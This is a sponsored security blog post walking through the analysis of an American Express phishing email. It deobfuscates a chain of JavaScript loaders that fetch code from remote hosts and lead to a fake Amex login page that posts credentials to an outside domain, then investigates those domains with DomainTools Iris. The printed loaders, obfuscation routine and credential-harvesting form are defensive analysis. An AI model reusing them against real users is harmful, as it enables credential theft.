Email security, Incident Response

Investigating Phishing Emails and Domains Using DomainTools Iris

This blog post is sponsored by DomainTools. For more information and product trials please visit https://securityweekly.com/domaintools.

Investigation Time!

You may be sitting at work early in the morning, enjoying your coffee and the peace and quiet that comes along with being the first one in the office. Like most, the first thing you do is check some emails (not all of it, just some, because there’s a lot of email!). You’ve become pretty good at spotting phishing emails, even earned a few t-shirts and beer koozies along the way from the corporate security awareness training program. One of the first emails you spot is claiming to be from American Express, a company you hold a credit card with. The subject reads “Irregular Activity” and for a brief moment you panic and think someone has stolen your credit card. At first glance the email was somewhat believable as you have a couple of corporate Amex cards, you’ve had fraudulent charges in the past, and the cards are stored in several online accounts for automatic payment (leaving you vulnerable to fraud and irregular activity).Then, a voice speaks in a giant echoing tone: “Remember your training”. You snap out of panic mode, remembering your preparation, and begin to investigate the following email:

As you sip your coffee and inspect the details of the email, you notice a few things that are suspicious:

  1. The sender “American Express <[email protected]>” is strange, as the domain does not contain a reference to American Express in any way.
  2. The email’s grammar is a  hot mess 
  3. The sender is asking you download an HTML file to reach the page that will activate your account (even though Sir Tim Berners-Lee invented the World Wide Web in 1989). 

Based on these facts, you decide to warn your local security team of a potential phishing/scam email.

Basic Forensics

“Whew, thank goodness for end user awareness training” I thought to myself sarcastically when I received this email. The sarcasm originates from years of experience, knowing that for every 10 users that report a phishing scam, there may be at least one that falls for it and causes a security incident that, likely on a Friday, in the late afternoon. In any case, I decided to look into this email as I am a security nerd and intrigued by the HTML attachment as it is an indication that this phishing scam may not be all that sophisticated.

Let’s take a look at the attached HTML:

<html lang=”en” xml:lang=”en” xmlns=”http://www.w3.org/1999/xhtml”>

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1″ />

<script src=”http://jlijten.nl/~jlijten/ft.js”></script>

</head>

<body>

</body>

</html>

Upon quick review, its very basic HTML with an embedded script that is pulling down JavaScript from a web site. If you’re keeping score at home, just looking at the email and the attachment, I have two domains to investigate:

  1. rugjam.com
  2. jlijten.nl

So using the command line tool “wget” I pull down the JavaScript (I don’t want to run it in my web browser and my other option is to fire up my forensics environment, but I am lazy and just use wget). The resulting JavaScript file comes down and present me with some math:

var erp = new Array;

erp[0] = 1014195058;

erp[1] = 1768977440;

erp[2] = 1954115685;

erp[3] = 1025668197;

erp[4] = 2020880234;

erp[5] = 1635148147;

erp[6] = 1668442480;

erp[7] = 1948401270;

<snip>

var em = ”;

for(i=0;i<erp.length;i++){

tmp = erp[i];

if(Math.floor((tmp/Math.pow(256,3)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,3))));

};

tmp = tmp – (Math.floor((tmp/Math.pow(256,3))) * Math.pow(256,3));

if(Math.floor((tmp/Math.pow(256,2)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,2))));

};

tmp = tmp – (Math.floor((tmp/Math.pow(256,2))) * Math.pow(256,2));

if(Math.floor((tmp/Math.pow(256,1)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,1))));

};

tmp = tmp – (Math.floor((tmp/Math.pow(256,1))) * Math.pow(256,1));

if(Math.floor((tmp/Math.pow(256,0)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,0))));

};

};

//document.write(em);

console.log(em);

Some “fancy” JavaScript eh? It’s using the JavaScript Math function to obfuscate the actual code. Kinda lame, maybe a bit neat, but highly annoying. Not wanting to load this in the browser (yea, I am that lazy!) I installed the node package locally. Node can execute JavaScript on the command line and save me the hassle, and risk, of opening it with a web browser. I replaced the “document.write” function with “console.log” so I could see the results in the terminal. Since we are not in a web browser we don’t have access to the document object, but we do have access to the console object. I executed the JavaScript using the following command:

$ node ft.js 

<script type=”text/javascript”>var i,t=”3c06877476d26c93e80a03c86826526126453e00a43c66d06567496152036847447447042d06567107536987643d82294326f56e17416536e27402d65447927016542262086346f36e77406576e17443d22267456587867482f76817466d76c43b12096366856117267316557493d34905364f22d53893803553962d13192282082f53e70a53c37356377206927017422017387276333d42296887437427083a92f52f36396f56d96e56176392e46356f46d22f16287076b82e86a07302203e23c82f87356327276947067403e30a53c52f76846506166403e80a53c56246f06487953e80a63c42f76266f56477993e30a53c52f66837496d36c33e3″,x=””;for(i=0;i<t.length;i+=3){x+=unescape(“%”+t.substr(i,2));}document.write(x);</script>

This uncovers even more JavaScript. Let’s do the same thing, replacing document.write with console.log, then running node:

$ node ft2.js 

<html>

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1″ />

<script src=”http://comnac.com/bpk.js”></script>

</head>

<body>

</body>

</html>

Here we go again! This time the JavaScript unpacks and provides us with HTML that is downloading more JavaScript, this time from a different site. Now we also have another domain to investigate and another script to download, which when we apply the same process, looks like this:

erp[12237] = 1953658213;

erp[12238] = 539573005;

erp[12239] = 169877536;

erp[12240] = 545066250;

erp[12241] = 538976288;

erp[12242] = 791620909;

erp[12243] = 1041041980;

erp[12244] = 796091250;

erp[12245] = 1768977470;

erp[12246] = 3338;

<snip>

var em = ”;

for(i=0;i<erp.length;i++){

tmp = erp[i];

if(Math.floor((tmp/Math.pow(256,3)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,3))));

};

tmp = tmp – (Math.floor((tmp/Math.pow(256,3))) * Math.pow(256,3));

if(Math.floor((tmp/Math.pow(256,2)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,2))));

};

tmp = tmp – (Math.floor((tmp/Math.pow(256,2))) * Math.pow(256,2));

if(Math.floor((tmp/Math.pow(256,1)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,1))));

};

tmp = tmp – (Math.floor((tmp/Math.pow(256,1))) * Math.pow(256,1));

if(Math.floor((tmp/Math.pow(256,0)))>0){

em += String.fromCharCode(Math.floor((tmp/Math.pow(256,0))));

};

};

//document.write(em);

console.log(em);

I think we all know what to do now! Lets run this script through the same process:

$ node bpk.js:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<html xmlns=’http://www.w3.org/1999/xhtml’ xml:lang=’en’>

<head>

    <title> American Express </title>

    <meta id=”viewport” name=”viewport” content=”width=device-width, initial-scale=1.0, minimum-scale=1.0″>

    <meta content=’ Forgot User ID or Password Help | American Express’ name=”DC.title”>

    <meta http-equiv=”content-language” content=”en”>

    <meta http-equiv=”X-UA-Compatible” content=”IE=edge”/>

    <META HTTP-EQUIV=”Expires” CONTENT=”-1″>

    <meta name=”keywords”

          content=’password, user ID, forgot password, forgot user id, user name, username, Forgot User ID or Password Help, Retrieve ID, Update Password, Reset Password’/>

    <meta name=”description” content=’Retrieve your User ID and reset your password to access your online account.’/>

    <link rel=”canonical”

<snip>

We now have a full HTML website, which is a completely fraudulent American Express website created to collect the user’s Amex online account credentials. While the website was setup to look just like an American Express site (even using some JavaScript embeds from the real Amex site) the POST request is sending the user’s login to another site:

<form id=”fuid1″ action=”http://heilgeist64.de/~hue/hh.php” autocomplete=”off” method=”post” name=”fuid1″>

Now have another domain to investigate!

DomainTools Iris

I took the following list of domains derived from this exercise and plugged them into Iris (you can just copy and paste the entire list into the Iris search bar):

  1. rugjam.com
  2. jlijten.nl
  3. Comnac.com
  4. heilgeist64.de

Domaintools Iris makes it really easy to quickly investigate a list of domains. My first path was to review the list and look for any Guided Pivots.

Iris provides you with the ability to include other related domains and IP addresses into your investigation by flagging them in the Guided Pivots. Below I noticed that one of the domains shares the same IP address as a bunch of other domains:

I clicked “expand search”, which adds all 261 domains to the list, then I sorted by Risk Score:

Looks like this domain could have some bad neighbors. This could also be an indication of a future phishing attempt, so I could go ahead and block all of these domains, or the IP address, at least for a specific time period to prevent any further phishing scam attempts. It also occurred to me that the domains used in the phishing scam may have been hacked, in a number of different ways, and put together by the same attacker(s) to run the phishing scam. I reviewed some of the passive DNS information and revealed similar results for all domains: They all had some type of mail, ftp and other services running on subdomains:

The above result was also interesting as the subdomains contained names of other popular domains. This was a more obvious indicator that these domains do not live in a nice neighborhood.

I also checked with VirusTotal to see what it knew about some of the domains involved, turns out they have been flagged as malicious:

One user even commented that they observed this domain in a phishing scam:

Don’t Judge a Book By It’s Risk Score

My actions were simple, I blocked the domains and IP addresses associated with this phishing scam. Even though the Domain Risk Scores were not high, my investigation revealed that the domains were sharing some of the same infrastructure (IP address), not hosting any websites that appeared to be used by our users, and contained several services that are likely targeted by attackers to gain control of the systems.

Paul Asadoorian

Paul Asadoorian is currently the Principal Security Evangelist for Eclypsium, focused on firmware and supply chain security awareness. Paul’s passion for firmware security extends back many years to the WRT54G hacking days and reverse engineering firmware on IoT devices for fun. Paul and his long-time podcast co-host Larry Pesce co-authored the book “WRTG54G Ultimate Hacking” in 2007, which fueled the firmware hacking fire even more. Paul has worked in technology and information security for over 20 years, holding various security and engineering roles in a lottery company, university, ISP, independent penetration tester, and security product companies such as Tenable. In 2005 Paul founded Security Weekly, a weekly podcast dedicated to hacking and information security. In 2020 Security Weekly was acquired by the Cyberrisk Alliance. Paul is still the host of one of the longest-running security podcasts, Paul’s Security Weekly, he enjoys coding in Python & telling everyone he uses Linux.

Get daily email updates

SC Media's daily must-read of the most current and pressing daily news

By clicking the Subscribe button below, you agree to SC Media Terms and Conditions and Privacy Policy.